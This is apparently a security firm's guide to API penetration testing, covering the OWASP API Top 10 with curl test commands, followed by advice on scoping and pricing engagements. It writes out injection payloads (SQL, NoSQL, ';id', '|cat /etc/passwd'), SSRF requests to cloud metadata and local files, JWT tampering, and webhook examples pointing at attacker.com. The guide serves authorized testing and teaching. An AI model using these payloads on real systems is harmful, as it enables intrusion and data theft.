Cybersecurity

API Penetration Testing: Methodology, Tools, Scoping, and What It Costs

Learn how to perform API security testing with Burp Suite, OWASP ZAP, and automated tools. Covers OWASP API Top 10 vulnerabilities with practical testing techniques.

By Inventive HQ Team

API penetration testing identifies vulnerabilities before attackers do. This guide covers the methodology, the tooling, and hands-on techniques for testing every category in the OWASP API Top 10 (2023) — and then the part most technique guides leave out: how to scope an API pentest and what one actually costs in 2026.

That second half is the reason this page exists alongside the excellent free technique references from OWASP and PortSwigger. If you are a security engineer learning to test APIs yourself, those are outstanding and you should use them. If you are the person who has to decide whether to test in-house or buy an engagement, write the scope, and defend the budget, keep reading — that material starts at scoping and cost.

API Pentesting Methodology

┌─────────────────────────────────────────────────────────────────────────────┐
│                      API PENETRATION TESTING PHASES                          │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│  1. RECONNAISSANCE                                                          │
│  ┌────────────────────────────────────────────────────────────────────┐    │
│  │ • API documentation review (OpenAPI, Swagger)                       │    │
│  │ • Endpoint discovery (fuzzing, JS analysis, mobile app reversing)  │    │
│  │ • Technology fingerprinting (headers, error messages)              │    │
│  │ • Authentication mechanism identification                           │    │
│  └────────────────────────────────────────────────────────────────────┘    │
│                              │                                               │
│                              ▼                                               │
│  2. MAPPING                                                                 │
│  ┌────────────────────────────────────────────────────────────────────┐    │
│  │ • Catalog all endpoints and methods                                 │    │
│  │ • Identify parameters and data types                               │    │
│  │ • Map authentication requirements                                   │    │
│  │ • Document authorization model                                      │    │
│  └────────────────────────────────────────────────────────────────────┘    │
│                              │                                               │
│                              ▼                                               │
│  3. VULNERABILITY TESTING                                                   │
│  ┌────────────────────────────────────────────────────────────────────┐    │
│  │ • OWASP API Top 10 testing                                         │    │
│  │ • Authentication/authorization bypass                               │    │
│  │ • Injection testing (SQL, NoSQL, Command)                          │    │
│  │ • Business logic testing                                            │    │
│  └────────────────────────────────────────────────────────────────────┘    │
│                              │                                               │
│                              ▼                                               │
│  4. EXPLOITATION & VALIDATION                                               │
│  ┌────────────────────────────────────────────────────────────────────┐    │
│  │ • Confirm vulnerabilities are exploitable                          │    │
│  │ • Assess real-world impact                                         │    │
│  │ • Chain vulnerabilities for greater impact                         │    │
│  │ • Document with evidence                                            │    │
│  └────────────────────────────────────────────────────────────────────┘    │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

Tools Setup

Burp Suite Configuration

# Start Burp with API-focused configuration
java -jar burpsuite_pro.jar

# Recommended extensions for API testing:
# - JSON Beautifier
# - JWT Editor
# - Autorize (authorization testing)
# - Param Miner (hidden parameter discovery)
# - Active Scan++ (enhanced scanning)

OWASP ZAP Setup

# Install ZAP
brew install zaproxy  # macOS
# or download from https://www.zaproxy.org/

# Start ZAP with API scanning mode
zap.sh -daemon -port 8080 -config api.key=your-api-key

# Import OpenAPI spec
curl "http://localhost:8080/JSON/openapi/action/importUrl/?url=https://api.example.com/openapi.json&apikey=your-api-key"

# Run active scan
curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://api.example.com&apikey=your-api-key"

Postman Security Testing

// Postman pre-request script for auth testing
pm.environment.set("auth_token", pm.environment.get("valid_token"));

// Postman test script for security checks
pm.test("No sensitive data in response", () => {
  const response = pm.response.json();
  pm.expect(JSON.stringify(response)).to.not.include("password");
  pm.expect(JSON.stringify(response)).to.not.include("ssn");
});

pm.test("Proper status code", () => {
  pm.expect(pm.response.code).to.be.oneOf([200, 201, 204]);
});

pm.test("Security headers present", () => {
  pm.expect(pm.response.headers.get("X-Content-Type-Options")).to.eql("nosniff");
  pm.expect(pm.response.headers.get("Strict-Transport-Security")).to.exist;
});

OWASP API Top 10 Testing

API1: Broken Object Level Authorization (BOLA)

# Test BOLA by changing object IDs
# 1. Get your own resource
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.example.com/users/123/profile"

# 2. Try accessing another user's resource
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.example.com/users/124/profile"  # Different ID

# 3. Try predictable IDs
for id in $(seq 1 100); do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    "https://api.example.com/users/$id/profile")
  if [ "$response" = "200" ]; then
    echo "Accessible: $id"
  fi
done

# 4. Test with UUIDs from other sessions
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.example.com/orders/550e8400-e29b-41d4-a716-446655440000"

API2: Broken Authentication

# Test authentication weaknesses
# 1. Access without token
curl "https://api.example.com/api/users"

# 2. Test with expired token
curl -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://api.example.com/api/users"

# 3. Test with malformed token
curl -H "Authorization: Bearer invalid.token.here" \
  "https://api.example.com/api/users"

# 4. JWT manipulation (use jwt_tool)
# Decode JWT
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null

# Change algorithm to none
python3 jwt_tool.py "$TOKEN" -X a

# Change user ID in payload
python3 jwt_tool.py "$TOKEN" -I -pc user_id -pv "admin"

API3: Broken Object Property Level Authorization

# Test for accessing unauthorized fields
# 1. Check response for sensitive fields you shouldn't see
curl -H "Authorization: Bearer $USER_TOKEN" \
  "https://api.example.com/users/me" | jq .

# Look for fields like: password_hash, ssn, internal_notes, admin_flags

# 2. Test field-level filtering
curl -H "Authorization: Bearer $USER_TOKEN" \
  "https://api.example.com/users/me?fields=password_hash,ssn"

# 3. GraphQL field exposure
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"query": "{ user(id: 1) { name email passwordHash internalNotes }}"}' \
  "https://api.example.com/graphql"

API4: Unrestricted Resource Consumption

# Test rate limiting and resource exhaustion
# 1. Rapid requests to test rate limiting
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    "https://api.example.com/api/search?q=test" &
done
wait

# 2. Large payload test
curl -X POST \
  -H "Content-Type: application/json" \
  -d "{\"data\": \"$(python3 -c 'print("A" * 10000000)')\"}" \
  "https://api.example.com/api/upload"

# 3. Complex query (GraphQL)
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users { friends { friends { friends { friends { name }}}}}}"}' \
  "https://api.example.com/graphql"

# 4. Pagination abuse
curl "https://api.example.com/api/users?limit=999999&offset=0"

API5: Broken Function Level Authorization

# Test access to privileged functions
# 1. Access admin endpoints as regular user
curl -H "Authorization: Bearer $USER_TOKEN" \
  "https://api.example.com/admin/users"

curl -H "Authorization: Bearer $USER_TOKEN" \
  -X DELETE "https://api.example.com/admin/users/123"

# 2. Test method-based auth bypass
curl -H "Authorization: Bearer $USER_TOKEN" \
  -X GET "https://api.example.com/admin/config"  # May be blocked

curl -H "Authorization: Bearer $USER_TOKEN" \
  -X OPTIONS "https://api.example.com/admin/config"  # May work

# 3. Test internal endpoints
curl "https://api.example.com/internal/metrics"
curl "https://api.example.com/debug/vars"
curl "https://api.example.com/actuator/health"

API6: Server-Side Request Forgery (SSRF)

# Test parameters that accept URLs
# 1. Internal network access
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost:8080/admin"}' \
  "https://api.example.com/api/fetch"

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1:22"}' \
  "https://api.example.com/api/preview"

# 2. Cloud metadata endpoints
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}' \
  "https://api.example.com/api/import"

# 3. Internal service discovery
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"url": "http://internal-api.local/health"}' \
  "https://api.example.com/api/webhook"

# 4. Protocol smuggling
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"url": "file:///etc/passwd"}' \
  "https://api.example.com/api/download"

API7: Security Misconfiguration

# Test for misconfigurations
# 1. Verbose error messages
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"email": "not-an-email"}' \
  "https://api.example.com/api/users"
# Check for stack traces, SQL errors, internal paths

# 2. Debug endpoints
curl "https://api.example.com/debug"
curl "https://api.example.com/phpinfo.php"
curl "https://api.example.com/server-status"
curl "https://api.example.com/.env"

# 3. CORS misconfiguration
curl -H "Origin: https://evil.com" \
  -I "https://api.example.com/api/users"
# Check Access-Control-Allow-Origin

# 4. Missing security headers
curl -I "https://api.example.com/api/users" | grep -iE "x-frame|x-content|strict-transport|content-security"

# 5. HTTP methods
curl -X OPTIONS "https://api.example.com/api/users"
curl -X TRACE "https://api.example.com/api/users"
Advertisement

API8: Injection

# SQL Injection testing
# 1. Error-based SQL injection
curl "https://api.example.com/api/users?id=1'"
curl "https://api.example.com/api/users?id=1 OR 1=1--"
curl "https://api.example.com/api/search?q=' UNION SELECT username,password FROM users--"

# 2. NoSQL injection (MongoDB)
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' \
  "https://api.example.com/api/login"

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "admin.*"}}' \
  "https://api.example.com/api/search"

# 3. Command injection
curl "https://api.example.com/api/ping?host=127.0.0.1;id"
curl "https://api.example.com/api/convert?file=test.pdf|cat /etc/passwd"

# 4. Use sqlmap for automated SQL injection testing
sqlmap -u "https://api.example.com/api/users?id=1" \
  --headers="Authorization: Bearer $TOKEN" \
  --dbs

API9: Improper Asset Management

# Find undocumented or old API versions
# 1. Version discovery
for v in v1 v2 v3 beta dev staging old legacy; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.example.com/$v/users")
  echo "$v: $response"
done

# 2. Subdomain enumeration
amass enum -d example.com | grep api

# 3. Historical endpoints (Wayback Machine)
curl "http://web.archive.org/cdx/search/cdx?url=api.example.com/*&output=json"

# 4. JS file analysis for hidden endpoints
curl -s "https://example.com/app.js" | grep -oE '/api/[a-zA-Z0-9/_-]+'

API10: Unsafe Consumption of APIs

# Test how API handles external data
# 1. Webhook injection
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "https://attacker.com/capture?data="}' \
  "https://api.example.com/api/webhooks"

# 2. External data validation
# If API fetches and processes external URLs
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"import_url": "https://attacker.com/malicious.xml"}' \
  "https://api.example.com/api/import"

Mass Assignment Testing

# Test for mass assignment vulnerabilities
# 1. Add unauthorized fields to create request
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test User",
    "email": "test@example.com",
    "role": "admin",
    "isAdmin": true,
    "verified": true,
    "balance": 1000000
  }' \
  "https://api.example.com/api/users"

# 2. Check if fields were set
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.example.com/api/users/me" | jq .

# 3. Test on update endpoints
curl -X PATCH \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin", "permissions": ["all"]}' \
  "https://api.example.com/api/users/me"

Automated Testing with Nuclei

# nuclei-templates/api-bola.yaml
id: api-bola-test

info:
  name: API BOLA Test
  severity: high
  description: Tests for Broken Object Level Authorization

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/users/{{user_id}}"
    headers:
      Authorization: "Bearer {{token}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "email"
          - "name"
        condition: and
# Run Nuclei with API templates
nuclei -u https://api.example.com -t api-security/ \
  -H "Authorization: Bearer $TOKEN"

Reporting Template

# API Penetration Test Report

## Executive Summary
- **Client**: Example Corp
- **Target**: api.example.com
- **Testing Period**: Jan 15-17, 2025
- **Risk Rating**: HIGH (3 Critical, 5 High, 8 Medium findings)

## Critical Findings

### 1. Broken Object Level Authorization (BOLA) - Critical
**CVSS**: 9.1 | **Endpoint**: /api/users/{id}/profile

**Description**: Any authenticated user can access any other user's profile by changing the user ID parameter.

**Evidence**:
```
# As User A (ID: 123)
curl -H "Authorization: Bearer $TOKEN_A" \
  "https://api.example.com/api/users/456/profile"

# Response: User B's private data returned
{"id": 456, "email": "userb@example.com", "ssn": "xxx-xx-xxxx"}
```

**Impact**: Complete compromise of user data confidentiality. Attackers can enumerate and access all user profiles.

**Remediation**:
```javascript
// Add authorization check
async function getProfile(req, res) {
  const requestedId = req.params.id;
  const currentUserId = req.user.id;

  if (requestedId !== currentUserId && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  // ...
}
```

[Continue for each finding...]

Best Practices

  1. Get authorization - Written scope and permission before testing
  2. Use safe testing data - Don't test with production data
  3. Test in staging first - Avoid impacting production
  4. Document everything - Record all requests and responses
  5. Report responsibly - Follow coordinated disclosure
  6. Automate regression tests - Add tests for found vulnerabilities
  7. Test authentication thoroughly - Most APIs have auth flaws
  8. Think like an attacker - What would you want to access?
  9. Chain vulnerabilities - Combine low-severity issues for impact
  10. Retest after fixes - Verify remediations are effective

Scoping and Buying an API Penetration Test

Everything above assumes you are doing the testing. If you are buying it, the questions change: how big is the scope, what should it cost, and how do you tell a real engagement from an automated scan with a PDF attached.

What an API Penetration Test Costs

Unlike GRC platform pricing, penetration testing pricing is partially public. We checked published ranges from testing firms on August 13, 2026:

SourcePublished range for API testingSource date
DeepStrike$6,000-$30,000Updated July 27, 2026
VikingCloud$5,000-$20,000November 10, 2025

Both agree on a floor near $5,000-$6,000 for a routine single-API engagement. They disagree on the ceiling, which tracks scope and customer base more than anything else — DeepStrike's higher ceiling reflects larger, more regulated scopes.

Two figures worth carrying into a vendor conversation: skilled testers bill roughly $100-$300/hour (DeepStrike), and SecurityMetrics states that an engagement priced under $4,000 is probably not a real penetration test — at those rates it buys 15-30 hours, which after reporting overhead is not enough for meaningful manual coverage. For an API, that matters more than for most target types, because the highest-severity API vulnerabilities are precisely the ones scanners cannot find.

Why Automated Scanning Under-Tests APIs Specifically

This is the single most important thing to understand when scoping an API engagement. Look at what tops the OWASP API Top 10:

  • API1: BOLA — requires knowing that object ID 1043 belongs to a different tenant. A scanner sees a valid 200 response and moves on.
  • API3: Broken Object Property Level Authorization — requires knowing which fields a given role should be able to read or write. That is business context, not a signature.
  • API5: Broken Function Level Authorization — requires an authorization matrix of roles against endpoints.
  • API6: Unrestricted Access to Sensitive Business Flows — requires understanding what the business flow is for.

Four of the top categories are authorization and business-logic flaws that are invisible without human understanding of the application's intent. This is why an API pentest quote should be read primarily as a manual-hours quote. Ask what percentage of the engagement is manual, and how many roles and endpoints are covered in the authorization matrix.

Scoping Inputs to Prepare

Providing these up front converts reconnaissance hours into testing hours, which is the cheapest way to increase the value of a fixed budget:

InputWhy the tester needs it
OpenAPI/Swagger specDefines the endpoint inventory. Without it, the tester spends hours on discovery, and undocumented endpoints — often the vulnerable ones — may be missed entirely.
Test accounts for every roleAuthorization testing is combinatorial. An API with 5 roles has 20 role-pair privilege boundaries to check; each needs credentials.
Authentication flow documentationOAuth flows, token lifetimes, refresh semantics, and signing keys determine which auth attacks are even applicable.
Rate-limit and WAF detailsTells the tester whether they are testing your API or your edge protection, and whether to request temporary allowlisting.
Environment decisionStaging that mirrors production is ideal. If testing production, agree on data-handling and destructive-technique limits in writing first.
Non-production dataLets the tester demonstrate BOLA with real proof without ever touching customer records.

For converting this into hour estimates and a defensible statement of work, the Penetration Test Scoping Calculator models API targets alongside your other scope, and our guide to penetration test scope, rules of engagement, and authorization covers the written authorization you need before anyone tests anything — including the separate permission required when your API is hosted on AWS, Azure, or GCP.

Compliance Drivers

If a framework is forcing the test, it also constrains the scope. PCI DSS Requirement 6.5 references OWASP directly and mandates application-layer testing for anything touching cardholder data; published PCI-driven engagement ranges run $12,000-$25,000. SOC 2 has no explicit penetration testing mandate, which is why SOC 2-driven tests are typically the narrowest and cheapest at $5,000-$20,000 — often a single application. Know which you are buying, because a SOC 2-scoped test will not satisfy a PCI assessor.

Next Steps

Frequently Asked Questions

What is API penetration testing and how is it different from web app testing?

API penetration testing specifically targets API endpoints, focusing on business logic, authentication, authorization, and data validation rather than UI-based attacks like XSS. APIs often lack the protections of web frameworks (CSRF tokens, built-in encoding) and expose more direct access to data and functions. Testing requires understanding request/response structures, authentication flows, and API-specific vulnerabilities like BOLA and mass assignment.

What tools do I need for API penetration testing?

Essential tools include Burp Suite (proxy, scanner, repeater for manual testing), OWASP ZAP (free alternative with API scan capabilities), Postman (API exploration and automated testing), curl/httpie (command-line requests), and jq (JSON parsing). For automated scanning, consider OWASP Amass (discovery), Nuclei (vulnerability templates), and Arjun (parameter discovery). For auth testing, jwt_tool and OAuth testing tools.

What is BOLA (Broken Object Level Authorization) and how do I test for it?

BOLA (#1 on OWASP API Top 10) occurs when APIs don't verify users can access specific objects. Test by: authenticating as User A, making requests for User A's resources, then changing IDs to access User B's resources. Try sequential IDs (1, 2, 3), UUIDs from other sessions, and predictable patterns. If you can access other users' data, BOLA exists. Test all endpoints that accept object identifiers.

How do I test for authentication and authorization vulnerabilities in APIs?

Test authentication by attempting endpoints without tokens, with expired tokens, with modified tokens (change user ID in JWT), and with tokens from other environments. Test authorization by accessing admin endpoints as regular users, accessing other users' resources, and testing all HTTP methods (GET might work when POST is blocked). Map which endpoints require auth and verify each one enforces it.

What is the OWASP API Top 10 and how do I test for each vulnerability?

The OWASP API Top 10 (2023) lists the most critical API security risks. Key ones: API1 BOLA (change object IDs), API2 Broken Authentication (token manipulation), API3 Broken Object Property Level Authorization (access hidden fields), API4 Unrestricted Resource Consumption (DoS via heavy requests), API5 Broken Function Level Authorization (access admin functions), API6 SSRF (inject URLs in parameters), API7 Security Misconfiguration (verbose errors, exposed endpoints).

How do I test API rate limiting?

Send rapid requests to determine rate limit thresholds. Test if limits apply per-IP, per-user, per-endpoint, or globally. Try bypass techniques: different HTTP methods, URL encoding variations, adding headers (X-Forwarded-For), using different API versions, and sending batch requests. Verify 429 responses include Retry-After headers. Test if rate limits prevent actual abuse or just slow it down.

How do I test for injection vulnerabilities in APIs?

Test SQL injection by inserting payloads in all parameters: ' OR '1'='1, 1; DROP TABLE--, UNION SELECT. Test NoSQL injection with MongoDB operators: {"$gt": ""}, {"$where": "1==1"}. Test command injection if parameters might reach shell: ; ls, | cat /etc/passwd. Test SSRF by inserting internal URLs: http://localhost, http://169.254.169.254 (cloud metadata). Watch for error messages revealing injection success.

What is mass assignment and how do I test for it?

Mass assignment occurs when APIs accept fields that shouldn't be user-modifiable. Test by adding extra fields to requests: isAdmin:true, role:"admin", balance:1000000, verified:true. Check if the API accepts and persists these fields. Review API responses for fields that exist in the data model but aren't in the request schema—try setting those. Test on registration, profile update, and any endpoint accepting object data.

Should I use automated API scanning or manual testing?

Use both. Automated scanners (Burp Scanner, ZAP, Nuclei) find common vulnerabilities quickly but miss business logic flaws. Manual testing finds BOLA, authorization bypasses, and logic vulnerabilities that require understanding the application. Start with automated scanning to find low-hanging fruit, then manually test authentication flows, authorization matrices, and business-critical functions.

How do I write an API penetration test report?

Include: executive summary (risk overview for management), methodology (tools, scope, approach), findings with CVSS scores and evidence (requests/responses), risk ratings (critical/high/medium/low), reproduction steps (curl commands), business impact explanation, remediation recommendations with code examples, and appendices (full request/response logs). Prioritize findings by exploitability and impact.

API securitypenetration testingOWASPBurp Suitesecurity testing